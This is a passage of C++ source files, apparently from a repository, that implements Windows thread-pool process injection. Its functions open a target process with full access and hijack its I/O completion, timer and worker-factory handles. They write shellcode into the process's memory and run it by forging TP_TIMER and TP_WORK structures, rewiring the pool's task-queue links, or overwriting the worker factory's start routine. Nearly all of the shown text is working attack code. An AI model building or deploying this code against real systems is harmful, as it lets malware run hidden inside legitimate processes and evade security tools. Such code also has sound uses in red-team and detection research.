writePayloadIntoProcess(processHandle, Shellcode, sizeof(Shellcode), &remotePayload); 36 | } 37 | 38 | bool Process::ProcessAlpcInject() 39 | { 40 | if (!isInitialized || remotePayload == nullptr || hijackType != TpIoPort) { 41 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl; 42 | return false; 43 | } 44 | 45 | return InjectViaAlpc(processHandle, remotePayload, handleToHijack); 46 | } 47 | 48 | bool Process::ProcessJobInject() 49 | { 50 | if (!isInitialized || remotePayload == nullptr || hijackType != TpIoPort) { 51 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl; 52 | return false; 53 | } 54 | 55 | return InjectViaJobCallback(processHandle, remotePayload, handleToHijack); 56 | } 57 | 58 | bool Process::ProcessWaitInject() 59 | { 60 | if (!isInitialized || remotePayload == nullptr || hijackType != TpIoPort) { 61 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl; 62 | return false; 63 | } 64 | 65 | return InjectViaTpWait(processHandle, remotePayload, handleToHijack); 66 | } 67 | 68 | bool Process::ProcessTpIoInject() 69 | { 70 | if (!isInitialized || remotePayload == nullptr || hijackType != TpIoPort) { 71 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl; 72 | return false; 73 | } 74 | 75 | return InjectViaTpIo(processHandle, remotePayload, handleToHijack); 76 | } 77 | 78 | bool Process::ProcessTpDirectInject() 79 | { 80 | if (!isInitialized || remotePayload == nullptr || hijackType != TpIoPort) { 81 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl; 82 | return false; 83 | } 84 | 85 | return InjectViaTpDirect(processHandle, remotePayload, handleToHijack); 86 | } 87 | 88 | bool Process::ProcessTimerInject() 89 | { 90 | if (!isInitialized || remotePayload == nullptr || hijackType != TpTimer) { 91 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl; 92 | return false; 93 | } 94 | 95 | HANDLE hWorkerFactory = hijackProcessWorkerFactory(processHandle); 96 | if (hWorkerFactory == INVALID_HANDLE_VALUE) { 97 | return false; 98 | } 99 | 100 | return InjectViaTpTimer(hWorkerFactory, handleToHijack, remotePayload, processHandle); 101 | } 102 | 103 | bool Process::ProcessWorkInject() 104 | { 105 | if (!isInitialized || remotePayload == nullptr || hijackType != TpWorkerFactory) { 106 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl; 107 | return false; 108 | } 109 | 110 | return InjectViaTpWork(processHandle, remotePayload, handleToHijack); 111 | } 112 | 113 | bool Process::ProcessWorkerFactoryInject() 114 | { 115 | if (!isInitialized || hijackType != TpWorkerFactory) { 116 | std::cerr << "{!!} Invalid sub-argument passed!" << std::endl; 117 | return false; 118 | } 119 | 120 | return InjectViaWorkerFactoryStartRoutine(processHandle, handleToHijack, Shellcode, sizeof(Shellcode)); 121 | } 122 | 123 | bool Process::init() 124 | { 125 | // 126 | // Find Target process 127 | // 128 | processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); 129 | if (processHandle == nullptr) { 130 | std::wcerr << L"{!!} Failed to get a handle to process with PID: " << PID << std::endl; 131 | return false; 132 | } 133 | 134 | // 135 | // Hijack Handle 136 | // 137 | switch (this->hijackType) { 138 | case TpIoPort: 139 | handleToHijack = hijackProcessIoPort(processHandle); 140 | break; 141 | case TpTimer: 142 | handleToHijack = hijackProcessTimerQueue(processHandle); 143 | break; 144 | case TpWorkerFactory: 145 | handleToHijack = hijackProcessWorkerFactory(processHandle); 146 | break; 147 | default: 148 | return false; 149 | } 150 | 151 | if (handleToHijack == INVALID_HANDLE_VALUE) { 152 | std::cerr << "{!!} Failed to hijack process handle needed." << std::endl; 153 | return false; 154 | } 155 | 156 | std::cout << "{+} Initialization Successful." << std::endl; 157 | isInitialized = true; 158 | return isInitialized; 159 | } 160 | 161 | Process::~Process() 162 | { 163 | if (handleToHijack) { 164 | CloseHandle(handleToHijack); 165 | } 166 | 167 | if (processHandle) { 168 | CloseHandle(processHandle); 169 | } 170 | } -------------------------------------------------------------------------------- /src/TimerInject.cpp: -------------------------------------------------------------------------------- 1 | #include "../include/Injection.hpp" 2 | 3 | bool InjectViaTpTimer(_In_ HANDLE hWorkerFactory, _In_ HANDLE hTimer, _In_ void* payloadAddress, _In_ HANDLE targetProcess) 4 | { 5 | fnNtQueryInformationWorkerFactory pQueryWorkerFactory = nullptr; 6 | long long timeOutInterval = -10000000; 7 | PFULL_TP_TIMER remoteTpTimer = nullptr; 8 | PFULL_TP_TIMER pFullTpTimer = nullptr; 9 | LARGE_INTEGER dueTime = { 0 }; 10 | WORKER_FACTORY_BASIC_INFORMATION workerFactoryInfo = { 0 }; 11 | fnNtSetTimer2 pNtSetTimer2 = nullptr; 12 | NTSTATUS status = ERROR_SUCCESS; 13 | 14 | pNtSetTimer2 = reinterpret_cast( 15 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"),"NtSetTimer2")); 16 | 17 | pQueryWorkerFactory = reinterpret_cast( 18 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtQueryInformationWorkerFactory")); 19 | 20 | if (pQueryWorkerFactory == nullptr || pNtSetTimer2 == nullptr) { 21 | std::cerr << "{!!} Failed to get NtQueryInformationWorkerFactory function pointer." << std::endl; 22 | return false; 23 | } 24 | 25 | // 26 | // Get worker factory basic information 27 | // 28 | status = pQueryWorkerFactory( 29 | hWorkerFactory, 30 | WorkerFactoryBasicInformation, 31 | &workerFactoryInfo, 32 | sizeof(WORKER_FACTORY_BASIC_INFORMATION), 33 | nullptr 34 | ); 35 | 36 | if (status != ERROR_SUCCESS) { 37 | NTAPI_ERR(NtQueryInformationWorkerFactory, status); 38 | return false; 39 | } 40 | 41 | // 42 | // Create callback structure associated with our payload 43 | // 44 | pFullTpTimer = reinterpret_cast( 45 | CreateThreadpoolTimer( 46 | static_cast(payloadAddress), 47 | nullptr, 48 | nullptr)); 49 | 50 | if (pFullTpTimer == nullptr) { 51 | WIN32_ERR(CreateThreadPoolTimer); 52 | return false; 53 | } 54 | 55 | // 56 | // Allocate memory for FULL_TP_TIMER structure 57 | // 58 | remoteTpTimer = static_cast(VirtualAllocEx( 59 | targetProcess, 60 | nullptr, 61 | sizeof(FULL_TP_TIMER), 62 | MEM_COMMIT | MEM_RESERVE, 63 | PAGE_READWRITE 64 | )); 65 | 66 | if (remoteTpTimer == nullptr) { 67 | WIN32_ERR(VirtualAllocEx); 68 | return false; 69 | } 70 | 71 | // 72 | // Modify some important members, and then write the structure 73 | // 74 | pFullTpTimer->Work.CleanupGroupMember.Pool = static_cast(workerFactoryInfo.StartParameter); 75 | pFullTpTimer->DueTime = timeOutInterval; 76 | 77 | pFullTpTimer->WindowEndLinks.Key = timeOutInterval; 78 | pFullTpTimer->WindowStartLinks.Key = timeOutInterval; 79 | 80 | pFullTpTimer->WindowStartLinks.Children.Flink = &remoteTpTimer->WindowStartLinks.Children; 81 | pFullTpTimer->WindowStartLinks.Children.Blink = &remoteTpTimer->WindowStartLinks.Children; 82 | 83 | pFullTpTimer->WindowEndLinks.Children.Flink = &remoteTpTimer->WindowEndLinks.Children; 84 | pFullTpTimer->WindowEndLinks.Children.Blink = &remoteTpTimer->WindowEndLinks.Children; 85 | 86 | if (!WriteProcessMemory( 87 | targetProcess, 88 | remoteTpTimer, 89 | pFullTpTimer, 90 | sizeof(FULL_TP_TIMER), 91 | nullptr 92 | )) { 93 | WIN32_ERR(WriteProcessMemory(First Call)); 94 | return false; 95 | } 96 | 97 | // 98 | // Change WindowStart.Root and WindowEnd.Root to point to the TP_TIMER callback 99 | // 100 | auto pTpTimerWindowStartLinks = &remoteTpTimer->WindowStartLinks; 101 | if (!WriteProcessMemory( 102 | targetProcess, 103 | &pFullTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowStart.Root, 104 | reinterpret_cast(&pTpTimerWindowStartLinks), 105 | sizeof(pTpTimerWindowStartLinks), 106 | nullptr 107 | )) { 108 | WIN32_ERR(WriteProcessMemory(Second Call)); 109 | return false; 110 | } 111 | 112 | auto pTpTimerWindowEndLinks = &remoteTpTimer->WindowEndLinks; 113 | if (!WriteProcessMemory( 114 | targetProcess, 115 | &pFullTpTimer->Work.CleanupGroupMember.Pool->TimerQueue.AbsoluteQueue.WindowEnd.Root, 116 | reinterpret_cast(&pTpTimerWindowEndLinks), 117 | sizeof(pTpTimerWindowEndLinks), 118 | nullptr 119 | )) { 120 | WIN32_ERR(WriteProcessMemory(Third Call)); 121 | return false; 122 | } 123 | 124 | // 125 | // Trigger the callback 126 | // 127 | dueTime.QuadPart = timeOutInterval; 128 | T2_SET_PARAMETERS timerParameters = { 0 }; 129 | 130 | status = pNtSetTimer2( 131 | hTimer, 132 | &dueTime, 133 | NULL, 134 | &timerParameters 135 | ); 136 | 137 | if(status != ERROR_SUCCESS) { 138 | NTAPI_ERR(NtSetTimer2, status); 139 | return false; 140 | } 141 | 142 | return true; 143 | } 144 | -------------------------------------------------------------------------------- /src/Utils.cpp: -------------------------------------------------------------------------------- 1 | #include "../include/Utils.hpp" 2 | 3 | HANDLE hijackProcessHandle(_In_ HANDLE targetProcess, _In_ const wchar_t* handleTypeName, _In_ uint32_t desiredAccess) 4 | { 5 | fnNtQueryInformationProcess pQueryProcInfo = nullptr; 6 | PPROCESS_HANDLE_SNAPSHOT_INFORMATION pProcessSnapshotInfo = nullptr; 7 | PPUBLIC_OBJECT_TYPE_INFORMATION objectInfo = nullptr; 8 | fnNtQueryObject pQueryObject = nullptr; 9 | 10 | uint32_t totalHandles = 0; 11 | uint32_t handleInfoSize = 0; 12 | NTSTATUS status = 0x00; 13 | HANDLE duplicatedHandle = 0; 14 | bool handleFound = false; 15 | uint32_t objectTypeReturnLen = 0; 16 | 17 | // NtQueryInformationProcess 18 | pQueryProcInfo = reinterpret_cast( 19 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtQueryInformationProcess")); 20 | 21 | // NtQueryObject 22 | pQueryObject = reinterpret_cast( 23 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), "NtQueryObject")); 24 | 25 | if (pQueryProcInfo == nullptr || pQueryObject == nullptr) { 26 | duplicatedHandle = INVALID_HANDLE_VALUE; 27 | goto FUNC_END; 28 | } 29 | 30 | std::wcout << L"{+} Attempting to hijack handle of type: " << handleTypeName << std::endl; 31 | if (!GetProcessHandleCount(targetProcess, (PDWORD)&totalHandles)) { // Total number of handles we need to account for 32 | WIN32_ERR(GetProcessHandleCount); 33 | duplicatedHandle = INVALID_HANDLE_VALUE; 34 | goto FUNC_END; 35 | } 36 | 37 | handleInfoSize = sizeof(PROCESS_HANDLE_SNAPSHOT_INFORMATION) + ((totalHandles + 15) * sizeof(PROCESS_HANDLE_TABLE_ENTRY_INFO)); 38 | pProcessSnapshotInfo = static_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleInfoSize)); 39 | 40 | if (pProcessSnapshotInfo == nullptr) { 41 | WIN32_ERR(Process Snapshot Info Heap Alloc); 42 | duplicatedHandle = INVALID_HANDLE_VALUE; 43 | goto FUNC_END; 44 | } 45 | 46 | status = pQueryProcInfo( 47 | targetProcess, 48 | (PROCESSINFOCLASS)51, 49 | pProcessSnapshotInfo, 50 | handleInfoSize, 51 | NULL 52 | ); 53 | 54 | if (status != ERROR_SUCCESS) { 55 | NTAPI_ERR(NtQueryInformationProcess, status); 56 | duplicatedHandle = INVALID_HANDLE_VALUE; 57 | goto FUNC_END; 58 | } 59 | 60 | for (size_t i = 0; i < pProcessSnapshotInfo->NumberOfHandles; i++) { 61 | if (!DuplicateHandle(targetProcess, 62 | pProcessSnapshotInfo->Handles[i].HandleValue, 63 | GetCurrentProcess(), 64 | &duplicatedHandle, 65 | desiredAccess, 66 | FALSE, 67 | NULL 68 | )) { 69 | continue; 70 | } 71 | 72 | // retrieve correct buffer size first 73 | pQueryObject(duplicatedHandle, 74 | ObjectTypeInformation, 75 | NULL, 76 | NULL, 77 | (PULONG)&objectTypeReturnLen 78 | ); 79 | 80 | objectInfo = static_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, objectTypeReturnLen)); 81 | if (objectInfo == nullptr) { 82 | break; 83 | } 84 | 85 | status = pQueryObject(duplicatedHandle, 86 | ObjectTypeInformation, 87 | objectInfo, 88 | objectTypeReturnLen, 89 | NULL 90 | ); 91 | 92 | if (status != ERROR_SUCCESS) { 93 | NTAPI_ERR(NtQueryObject, status); 94 | break; 95 | } 96 | 97 | if (wcsncmp(handleTypeName, objectInfo->TypeName.Buffer, wcslen(handleTypeName)) == 0) { 98 | std::wcout << L"{!} found \"" << objectInfo->TypeName.Buffer << L"\" handle! Hijacking successful." << std::endl; 99 | handleFound = true; 100 | break; 101 | } 102 | 103 | HeapFree(GetProcessHeap(), 0, objectInfo); 104 | } 105 | 106 | if (!handleFound) { 107 | duplicatedHandle = INVALID_HANDLE_VALUE; 108 | } 109 | 110 | FUNC_END: 111 | if (pProcessSnapshotInfo) { 112 | HeapFree(GetProcessHeap(), 0, pProcessSnapshotInfo); 113 | } 114 | if (objectInfo) { 115 | HeapFree(GetProcessHeap(), 0, objectInfo); 116 | } 117 | 118 | return duplicatedHandle; 119 | } 120 | 121 | // helpers 122 | HANDLE hijackProcessIoPort(HANDLE processHandle) 123 | { 124 | return hijackProcessHandle(processHandle, L"IoCompletion", IO_COMPLETION_ALL_ACCESS); 125 | } 126 | 127 | HANDLE hijackProcessTimerQueue(HANDLE processHandle) 128 | { 129 | return hijackProcessHandle(processHandle, L"IRTimer", TIMER_ALL_ACCESS); 130 | } 131 | 132 | HANDLE hijackProcessWorkerFactory(HANDLE processHandle) 133 | { 134 | return hijackProcessHandle(processHandle, L"TpWorkerFactory", WORKER_FACTORY_ALL_ACCESS); 135 | } 136 | 137 | bool writePayloadIntoProcess(_In_ HANDLE hProcess, _In_ void* pPayload, _In_ size_t payloadSize, _Out_ void** pRemoteAddress) 138 | { 139 | void* remote = VirtualAllocEx(hProcess, 140 | nullptr, 141 | payloadSize, 142 | MEM_COMMIT | MEM_RESERVE, 143 | PAGE_READWRITE); 144 | 145 | if (remote == nullptr) { 146 | WIN32_ERR(VirtualAllocEx); 147 | return false; 148 | } 149 | 150 | size_t bytesWritten = 0; 151 | if (!WriteProcessMemory( 152 | hProcess, 153 | remote, 154 | pPayload, 155 | payloadSize, 156 | &bytesWritten) 157 | || bytesWritten != payloadSize) 158 | { 159 | WIN32_ERR(WriteProcessMemory); 160 | std::cout << "Bytes written :" << bytesWritten << " | Payload Size :" << payloadSize << std::endl; 161 | return false; 162 | } 163 | 164 | uint32_t oldProtect; 165 | if (!VirtualProtectEx(hProcess, remote, payloadSize, PAGE_EXECUTE_READ, (PDWORD)&oldProtect)) { 166 | WIN32_ERR(VirtualProtectEx); 167 | return false; 168 | } 169 | 170 | *pRemoteAddress = remote; 171 | std::cout << "{+} Wrote Shellcode Into Remote Process: " << remote << std::endl; 172 | return true; 173 | } -------------------------------------------------------------------------------- /src/WorkInject.cpp: -------------------------------------------------------------------------------- 1 | #include "../include/Injection.hpp" 2 | 3 | // 4 | // Note: The worker factory's start routine cannot be overwritten. 5 | // We can, however, write the payload at the location that the start routine points to. 6 | // 7 | bool InjectViaWorkerFactoryStartRoutine(_In_ HANDLE targetProcess, _In_ HANDLE hWorkerFactory, _In_ void* localPayloadAddress, _In_ size_t payloadSize) 8 | { 9 | NTSTATUS status = ERROR_SUCCESS; 10 | uint32_t oldProtect = 0; 11 | WORKER_FACTORY_BASIC_INFORMATION workerFactoryInfo = { 0 }; 12 | fnNtSetInformationWorkerFactory pNtSetInformationWorkerFactory = nullptr; 13 | fnNtQueryInformationWorkerFactory pNtQueryInformationWorkerFactory = nullptr; 14 | uint32_t threadMinimumCount = 0; 15 | 16 | // 17 | // Get function ptrs 18 | // 19 | pNtQueryInformationWorkerFactory = reinterpret_cast( 20 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), 21 | "NtQueryInformationWorkerFactory")); 22 | 23 | pNtSetInformationWorkerFactory = reinterpret_cast( 24 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), 25 | "NtSetInformationWorkerFactory")); 26 | 27 | if (pNtSetInformationWorkerFactory == nullptr || pNtQueryInformationWorkerFactory == nullptr) { 28 | std::cerr << "{!!} Failed to get function pointers" << std::endl; 29 | return false; 30 | } 31 | 32 | // 33 | // Get Start Routine of the worker factory 34 | // 35 | status = pNtQueryInformationWorkerFactory( 36 | hWorkerFactory, 37 | WorkerFactoryBasicInformation, 38 | &workerFactoryInfo, 39 | sizeof(WORKER_FACTORY_BASIC_INFORMATION), 40 | nullptr 41 | ); 42 | 43 | if (status != ERROR_SUCCESS) { 44 | NTAPI_ERR(NtQueryInformationWorkerFactory, status); 45 | return false; 46 | } 47 | 48 | // 49 | // Change start routine to R/W and copy payload 50 | // 51 | if (!VirtualProtectEx( 52 | targetProcess, 53 | workerFactoryInfo.StartRoutine, 54 | payloadSize, 55 | PAGE_READWRITE, 56 | (PDWORD)&oldProtect 57 | )) { 58 | WIN32_ERR(VirtualProtectEx(First Call)); 59 | return false; 60 | } 61 | 62 | if (!WriteProcessMemory( 63 | targetProcess, 64 | workerFactoryInfo.StartRoutine, 65 | localPayloadAddress, 66 | payloadSize, 67 | nullptr 68 | )) { 69 | WIN32_ERR(WriteProcessMemory); 70 | return false; 71 | } 72 | 73 | if (!VirtualProtectEx( //< Revert protections 74 | targetProcess, 75 | workerFactoryInfo.StartRoutine, 76 | payloadSize, 77 | oldProtect, 78 | (PDWORD)&oldProtect 79 | )) { 80 | WIN32_ERR(VirtualProtectEx(Second Call)); 81 | return false; 82 | } 83 | 84 | // 85 | // Increase minimum number of threads in the pool 86 | // 87 | 88 | threadMinimumCount = workerFactoryInfo.TotalWorkerCount + 1; 89 | status = pNtSetInformationWorkerFactory( 90 | hWorkerFactory, 91 | WorkerFactoryThreadMinimum, 92 | &threadMinimumCount, 93 | sizeof(uint32_t) 94 | ); 95 | 96 | if (status != ERROR_SUCCESS) { 97 | NTAPI_ERR(NtSetInformationWorkerFactory, status); 98 | return false; 99 | } 100 | 101 | return true; 102 | } 103 | 104 | // 105 | // Injecting a work item directly into the task queue will not cause it to be 106 | // executed right away, even at a high priority level. Once a check is done however for available tasks, 107 | // the payload will run. From my experience this takes around 25-30 seconds. 108 | // 109 | bool InjectViaTpWork(_In_ HANDLE targetProcess, _In_ void* payloadAddress, _In_ HANDLE hWorkerFactory) 110 | { 111 | PFULL_TP_POOL pFullTpPoolBuffer = nullptr; 112 | size_t bytesRead = 0; 113 | LIST_ENTRY* taskQueueHighPriorityList = nullptr; 114 | PFULL_TP_WORK pRemoteFullTpWork = nullptr; 115 | LIST_ENTRY* pRemoteWorkItemTaskNode = nullptr; 116 | PFULL_TP_WORK pFullTpWork = nullptr; 117 | WORKER_FACTORY_BASIC_INFORMATION workerFactoryInfo = { 0 }; 118 | fnNtQueryInformationWorkerFactory pNtQueryInformationWorkerFactory = nullptr; 119 | 120 | NTSTATUS status = 0x00; 121 | bool state = true; 122 | 123 | pNtQueryInformationWorkerFactory = reinterpret_cast( 124 | GetProcAddress(GetModuleHandleW(L"NTDLL.DLL"), 125 | "NtQueryInformationWorkerFactory")); 126 | 127 | if (pNtQueryInformationWorkerFactory == nullptr) { 128 | std::cerr << "{!!} Failed to get NtQueryInformationWorkerFactory function pointer." << std::endl; 129 | return false; 130 | } 131 | 132 | // 133 | // Create FULL_TP_WORK callback structure 134 | // 135 | pFullTpWork = reinterpret_cast(CreateThreadpoolWork( 136 | static_cast(payloadAddress), 137 | nullptr, 138 | nullptr) 139 | ); 140 | 141 | if (pFullTpWork == nullptr) { 142 | WIN32_ERR(CreateThreadPoolWork); 143 | return false; 144 | } 145 | 146 | // 147 | // Query worker factory for StartRoutine value (head of linked list work queue) 148 | // 149 | status = pNtQueryInformationWorkerFactory( 150 | hWorkerFactory, 151 | WorkerFactoryBasicInformation, 152 | &workerFactoryInfo, 153 | sizeof(WORKER_FACTORY_BASIC_INFORMATION), 154 | nullptr 155 | ); 156 | 157 | if (status != ERROR_SUCCESS) { 158 | NTAPI_ERR(NtQueryInformationWorkerFactory, status); 159 | state = false; 160 | goto FUNC_CLEANUP; 161 | } 162 | 163 | // 164 | // Allocate Heap Buffer for TP_POOL structure and copy it 165 | // 166 | pFullTpPoolBuffer = static_cast(HeapAlloc( 167 | GetProcessHeap(), 168 | HEAP_ZERO_MEMORY, 169 | sizeof(FULL_TP_POOL)) 170 | ); 171 | 172 | if (pFullTpPoolBuffer == nullptr) { 173 | WIN32_ERR(HeapAlloc); 174 | state = false; 175 | goto FUNC_CLEANUP; 176 | } 177 | 178 | if (!ReadProcessMemory( 179 | targetProcess, 180 | workerFactoryInfo.StartParameter, 181 | pFullTpPoolBuffer, 182 | sizeof(FULL_TP_POOL), 183 | &bytesRead 184 | )) { 185 | WIN32_ERR(ReadProcessMemory); 186 | state = false; 187 | goto FUNC_CLEANUP; 188 | } 189 | 190 | // 191 | // Associate the callback with the process' TP_POOL 192 | // 193 | taskQueueHighPriorityList = &pFullTpPoolBuffer->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue; 194 | 195 | pFullTpWork->CleanupGroupMember.Pool = static_cast(workerFactoryInfo.StartParameter); 196 | pFullTpWork->Task.ListEntry.Flink = taskQueueHighPriorityList; 197 | pFullTpWork->Task.ListEntry.Blink = taskQueueHighPriorityList; 198 | pFullTpWork->WorkState.Exchange = 0x2; 199 | 200 | // 201 | // Write the callback structure into the process 202 | // 203 | pRemoteFullTpWork = static_cast(VirtualAllocEx( 204 | targetProcess, 205 | nullptr, 206 | sizeof(FULL_TP_WORK), 207 | MEM_COMMIT | MEM_RESERVE, 208 | PAGE_READWRITE) 209 | ); 210 | 211 | if (pRemoteFullTpWork == nullptr) { 212 | WIN32_ERR(VirtualAllocEx); 213 | state = false; 214 | goto FUNC_CLEANUP; 215 | } 216 | 217 | if (!WriteProcessMemory( 218 | targetProcess, 219 | pRemoteFullTpWork, 220 | pFullTpWork, 221 | sizeof(FULL_TP_WORK), 222 | nullptr 223 | )) { 224 | WIN32_ERR(WriteProcessMemory(First Call)); 225 | state = false; 226 | goto FUNC_CLEANUP; 227 | } 228 | 229 | // 230 | // Modify the TP_POOL linked list Flinks and Blinks to point to the malicious task 231 | // 232 | pRemoteWorkItemTaskNode = &pRemoteFullTpWork->Task.ListEntry; 233 | 234 | if (!WriteProcessMemory( 235 | targetProcess, 236 | &pFullTpPoolBuffer->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Flink, 237 | &pRemoteWorkItemTaskNode, 238 | sizeof(pRemoteWorkItemTaskNode), 239 | nullptr 240 | )) { 241 | WIN32_ERR(WriteProcessMemory(Second Call)); 242 | state = false; 243 | goto FUNC_CLEANUP; 244 | } 245 | 246 | if (!WriteProcessMemory( 247 | targetProcess, 248 | &pFullTpPoolBuffer->TaskQueue[TP_CALLBACK_PRIORITY_HIGH]->Queue.Blink, 249 | &pRemoteWorkItemTaskNode, 250 | sizeof(pRemoteWorkItemTaskNode), 251 | nullptr 252 | )) { 253 | WIN32_ERR(WriteProcessMemory(Third Call)); 254 | state = false; 255 | } 256 | 257 | FUNC_CLEANUP: 258 | if (pFullTpPoolBuffer) { 259 | HeapFree(GetProcessHeap(), 0, pFullTpPoolBuffer); 260 | } 261 | 262 | return state; 263 | } 264 | --------------------------------------------------------------------------------